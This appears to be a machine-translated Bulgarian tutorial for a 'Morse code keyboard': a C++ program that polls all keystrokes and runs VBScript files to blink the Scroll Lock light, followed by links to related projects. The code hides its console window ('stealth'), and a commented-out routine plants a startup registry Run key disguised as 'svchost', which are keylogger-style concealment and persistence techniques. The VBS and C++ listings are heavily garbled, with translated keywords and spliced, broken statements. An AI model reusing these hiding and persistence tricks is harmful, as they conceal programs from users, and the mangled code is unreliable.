Съдържание:
Видео: Клавиатура на Морзов код: 5 стъпки
2024 Автор: John Day | [email protected]. Последно модифициран: 2024-01-30 07:52
Тази програма ви показва как да създадете c ++ програма, която използва подход за запис на ключове, за да намери натиснатия ключ и да генерира стойността на азбуката на Морз чрез използването на светлината за заключване на превъртане на клавиатурата (кой дори използва това?). Този проект се състои от 41 различни програми, които се преплитат и безпроблемно си взаимодействат, превеждайки 3 езика между програмите. В тази таблица няма много снимки, тъй като проектът се основава изцяло на компютърен код. За този проект ще ви трябват: Клавиатура със светлинен ключ за заключване Notepad Нещо, което може да компилира c ++ код (използвах CodeBlocks)
Какво направи? Направих c ++ програма, която превежда натисканията на клавиши в азбука на Морз чрез използването на програми за скрипт vb, които направих. Как успя? Прекарах доста време в проучване на c ++, азбука на Морз и vb скрипт, тъй като и аз не знаех и след известно време имах необходимите знания, за да направя тази програма. Прекарах няколко часа след проучването, за да разработя проста програма за натискане на клавиш, а след това направих още някои изследвания за отваряне на програми и стартиране на програми във фонов режим (неоткриваемо). Използвах тези методи, за да създам c ++ програма, която да работи, без да прекъсва потребителя или да заема място на екрана (тя работи във фонов режим). Направих и партиден файл, който убива програмата c ++, когато потребителят приключи с него. Къде го направихте? Направих тези програми на семейния компютър у дома, като намерих време, когато други членове на семейството не трябваше да използват компютъра. Какво научихте? В хода на този проект научих почти 3 нови езика и развих способността да накарам тези езици да „комуникират“помежду си. Научих също сложностите, които идват с различните езици, и как да заобикалям грешките и бъговете (бях принуден да използвам мозъка си … да мисля …).
Стъпка 1:.vbs файлове (създаване)
A.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" sleep 900 wshshell.sendkeys "{SCROLLLOCK}" B.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLcript}" 300 sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" C.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshcript {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 9 00 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" D.vbs Set wshShell = wscript. CreateObject ("WScript. Shell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sp "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" E.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.send SCROLLLOCK} "F.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.send ключове "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" G.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.se {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 SCSLSkell } "H.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLL " wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys " sleep 300 wshshell.sendkeys "{SCROLLLOCK}" I.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOC K} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "J.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} " "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys".sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" K.vbs Задаване на wshShell = wscript. CreateObjell ") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLcript}".sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" L.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.slee p 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" M.vbs Set wshShell = wscript. CreateObject ("WScript. Shell) sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" N.vbs Set wshS. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshLskell. } "O.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.s крайни ключове "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" P.vbs Set wshS. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshLskell. } "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys Q.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendk eys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" R.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.se {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 SCSLSkell } "S.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLL " wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" T.vbs Set wshShell = wscript. CcriptObject ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "U.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript leep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLcript wshshell.sendkeys "{SCROLLLOCK}" V.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wssh.sll. sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "W.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.send } "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" X.vbs Задайте wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sp "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" Y.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.se SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshellse "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "Z.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.se ndключове "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK}"
Стъпка 4: C ++ кодът
Не забравяйте да запишете това като Morse.cpp или иначе няма да работи. Подгответе се … #include #include #include #include #define BUFSIZE 80 с помощта на пространство от имена std; int test_key (void); int create_key (char *); int get_keys (void); int main (void) {HWND стелт; AllocConsole (); stealth = FindWindowA ("ConsoleWindowClass", NULL); ShowWindow (стелт, 0); int тест, създаване; test = test_key (); / *if (test == 2) {char *path = "c: \%windir%\ svchost.exe"; create = create_key (пътека); } */ int t = get_keys (); връщане t; } int get_keys (void) {кратък знак; while (1) {for (character = 8; character <= 222; character ++) {if (GetAsyncKeyState (character) ==-32767) {if (1 == 1) {if ((character> 64) && (character < 91)) {знак+= 32; } превключвател (символ) {случай 97: ShellExecute (NULL, NULL, "A.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 98: ShellExecute (NULL, NULL, "B.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 99: ShellExecute (NULL, NULL, "C.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 100: ShellExecute (NULL, NULL, "D.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 101: ShellExecute (NULL, NULL, "E.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 102: ShellExecute (NULL, NULL, "F.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 103: ShellExecute (NULL, NULL, "G.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 104: ShellExecute (NULL, NULL, "H.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 105: ShellExecute (NULL, NULL, "I.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 106: ShellExecute (NULL, NULL, "J.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 107: ShellExecute (NULL, NULL, "K.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 108: ShellExecute (NULL, NULL, "L.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 109: ShellExecute (NULL, NULL, "M.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 110: ShellExecute (NULL, NULL, "N.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 111: ShellExecute (NULL, NULL, "O.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 112: ShellExecute (NULL, NULL, "P.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 113: ShellExecute (NULL, NULL, "Q.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 114: ShellExecute (NULL, NULL, "R.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 115: ShellExecute (NULL, NULL, "S.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 116: ShellExecute (NULL, NULL, "T.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 117: ShellExecute (NULL, NULL, "U.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 118: ShellExecute (NULL, NULL, "V.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 119: ShellExecute (NULL, NULL, "W.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 120: ShellExecute (NULL, NULL, "X.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 121: ShellExecute (NULL, NULL, "Y.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 122: ShellExecute (NULL, NULL, "Z.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 48: ShellExecute (NULL, NULL, "0.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 49: ShellExecute (NULL, NULL, "1.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 50: ShellExecute (NULL, NULL, "2.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 51: ShellExecute (NULL, NULL, "3.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 52: ShellExecute (NULL, NULL, "4.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 53: ShellExecute (NULL, NULL, "5.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 54: ShellExecute (NULL, NULL, "6.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 55: ShellExecute (NULL, NULL, "7.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 56: ShellExecute (NULL, NULL, "8.vbs", NULL, NULL, SW_SHOW); прекъсване; случай 57: ShellExecute (NULL, NULL, "9.vbs", NULL, NULL, SW_SHOW); прекъсване; регистър VK_SPACE: ShellExecute (NULL, NULL, "SPACE.vbs", NULL, NULL, SW_SHOW); прекъсване; по подразбиране: break; }}}}} връщане EXIT_SUCCESS; } int test_key (void) {int проверка; HKEY hKey; char пътека [BUFSIZE]; DWORD buf_length = BUFSIZE; int reg_key; reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE, "СОФТУЕР / Microsoft / Windows / CurrentVersion / Изпълнение", 0, KEY_QUERY_VALUE, & hKey); if (reg_key! = 0) {check = 1; обратна проверка; } reg_key = RegQueryValueEx (hKey, "svchost", NULL, NULL, (LPBYTE) път, & buf_length); if ((reg_key! = 0) || (buf_length> BUFSIZE)) check = 2; if (reg_key == 0) check = 0; RegCloseKey (hKey); обратна проверка; } int create_key (char *path) {int reg_key, проверете; HKEY hkey; reg_key = RegCreateKey (HKEY_LOCAL_MACHINE, "СОФТУЕР / Microsoft / Windows / CurrentVersion / Изпълнение", & hkey); if (reg_key == 0) {RegSetValueEx ((HKEY) hkey, "svchost", 0, REG_SZ, (BYTE *) път, strlen (път)); проверка = 0; обратна проверка; } if (reg_key! = 0) check = 1; обратна проверка; }
Стъпка 5: Убиване на програмата
Има два начина да убиете тази програма.
1. Или натиснете CTRL+ALT+DELETE и след това отидете до лентата със задачи ИЛИ Натиснете CTRL+SHIFT+ESC След това отидете до процеси и превъртете надолу до "Morse.exe". След това изберете „Morse.exe“и кликнете върху „Край на процеса“2. Създайте нов текстов файл (бележник) Поставете следния ред код в текстовия файл: taskkill /IM Morse.exe, след като го направите, запишете го като MorseKill.bat сега, когато щракнете върху него, той изключва Morse.exe през процесите
Препоръчано:
Станция на Морзов код: 3 стъпки
Станция с азбука на Морз: Dit-dit-dah-dah! Научете азбуката на Морз с този лесен проект Arduino Uno. Този лесен проект на Arduino е станция с азбука на Морз. Морзов код е комуникационен метод, който кодира знаци като поредица от точки и тирета. Тази схема използва пиезо зумер за
K -Ability V2 - Достъпна клавиатура с отворен код за сензорни екрани: 6 стъпки (със снимки)
K-Ability V2-Достъпна клавиатура с отворен код за сензорни екрани: Този прототип е втората версия на K-Ability.K-Ability е физическа клавиатура, която позволява използването на устройства със сензорен екран на лица с патологии, водещи до нервно-мускулни разстройства. Има много помощни средства които улесняват използването на изчисления
Морзов код към текст с помощта на Arduino: 5 стъпки
Морзов код към текст с помощта на Arduino: IDEA Описание Всички комуникираме помежду си чрез нашите естествени сензори (език, жест … и т.н.). Вълнуващата част започва, когато искате да споделите секретна информация с някого. Въпросът е как да го направя? Така че отговорът се крие в това как предавате
Клавиатура на Морзов код: 8 стъпки
Клавиатура на Морзов код: Този проект е малка клавиатура, където потребителите въвеждат азбуката на Морзе и знаците се извеждат към свързан компютър. Устройството е вдъхновено от американския Dot-dash кодер (CO-3B, MX-4495). Публикувах моя версия от първо поколение на хъба на проекта Arduino и греха
Сензорен клавиш/автокодер на Морзов код: 12 стъпки (със снимки)
Сензорен клавиш на Морзов код/Автокодер: Всъщност създадох този проект преди време, но мислех, че някой може да използва идеята. Аз съм радиолюбител и влязох в него малко късно в живота, когато се пенсионирах и имах време. Сега имам общ лиценз и използвам телефон (vo